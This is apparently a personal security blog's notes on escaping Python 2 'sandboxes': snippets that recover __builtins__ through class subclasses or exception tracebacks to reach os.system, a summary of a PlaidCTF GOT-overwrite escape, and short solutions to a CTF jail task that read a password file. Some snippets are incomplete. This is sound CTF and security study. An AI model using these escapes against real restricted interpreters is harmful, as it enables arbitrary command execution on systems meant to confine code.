Python "sandbox" escape (last update: 2021-07-05, created: 2013-05-06) back to the list ↑
So as I've recently learnt Python "sandbox" (as in removing _builtins_, and similar tricks) doesn't work. And it seems this is sometimes useful since different projects tend to use a Python "sandbox" anyway. So I decided to put some links / notes here.
(btw, this is about Python 2.6/2.7, not 3.X)

# Trick 1
If __builtins__ are removed, and import doesn't work, you can use this:

classes = {}.__class__.__base__.__subclasses__()
b = classes[49]()._module.__builtins__
m = b['__import__']('os')
m.system("bla bla")

The 49 there is the index of warnings.catch_warnings class, however do note that the index might be totally different in your environment (and might change depending on what code was executed. I somewhat recall that on a different python version there was another warning-related class which has the same _module thing.
This basically solves the problem of missing import.

# Trick 2
Quite similar to Trick 1 actually, just a different class.

classes = {}.__class__.__base__.__subclasses__()

The 80 in this case is _frozen_importlib.BuiltinImporter (the index may vary of course).

# Trick 2
In this we get __builtins__ back by walking through the exception traceback information. The problem is that you need to be able to catch a named exception (unless you can send in bytecode instead of Python code, then this isn't a problem), and that in some cases the f_back is not defined for some reason.

  ""/5  # Throw TypeError
except Exception as e:  # In bytecode you don't need "Exception".
  builtins = e.__traceback__.tb_frame.f_back.f_globals["__builtins__"]

# See also
Basically any CTF writeup about python jail/sandbox escape.

The PlaidCTF 2014 had a _nightmare_ task where you could execute any code, but there was nothing in the environment except stdout.
It was solvable by accessing /proc/self/mem of the Python process and overwriting something. In our case we overwritten the fopen64 address in the .got/.plt with the address of system, and were able to run any command by just using type(stdout)("command").

Write-ups: (by q3k and me)

On the 0x3004 CTF recently there was a different kind of task, which looked like this:

from sys import modules
del modules

__builtins__.dir = None
eval = None
input = None
execfile = None

LEN_PASS = len(open('./password','r').read()) # Length of Password
I_N_P_U_T = (  ) # only a-z0-9[]() and length of code must be <= 50
P_A_S_S_W_O_R_D = open('./password','r').read()

assert LEN_PASS >= 1
assert LEN_PASS == len(I_N_P_U_T)
for i in range(LEN_PASS):
  if I_N_P_U_T[i] != P_A_S_S_W_O_R_D[i]:
    from sys import exit
    exit() # Wrong

print 'Here is your flag:',open('./flag','r').read()

I played with the task quite a lot but in the end didn't manage to solve it. The organizers said there were two solutions, both really sweet:

*Solution 1*: max(open([list(vars())[5]for(password)in[0]][0]))
It basically creates a new local variable called "password" (it's the newly defined iterator in the for loop), and then uses the name of this variable (that's the list(vars())[5] - the number here might vary; on the CTF server it was 8) as the name to open the ./password file. The max() there is used to read the data from the file; list(open(...))[0] would work as well, but max is shorter.
Lesson: you actually could create new variables here

*Solution 2*: [chr(53)for(vars()[list(vars())[0]])in[1]]
This one works by replacing the LEN_PASS variable with 1 (this is done by using the the LEN_PASS variable (hint: reference) - that's the vars()[list(vars())[0]] part - as a value-iterator for the [1] array; which basically means it sets it to 1) and then returning always a given character - in this case it was "5" (of course, you had to brute-force this character on the server).
Lesson: list-for can be used to set existing variables, even if they are access in a really strange way
【 design & art by Xa / Gynvael Coldwind 】 【 logo font (birdman regular) by utopiafonts / Dale Harris 】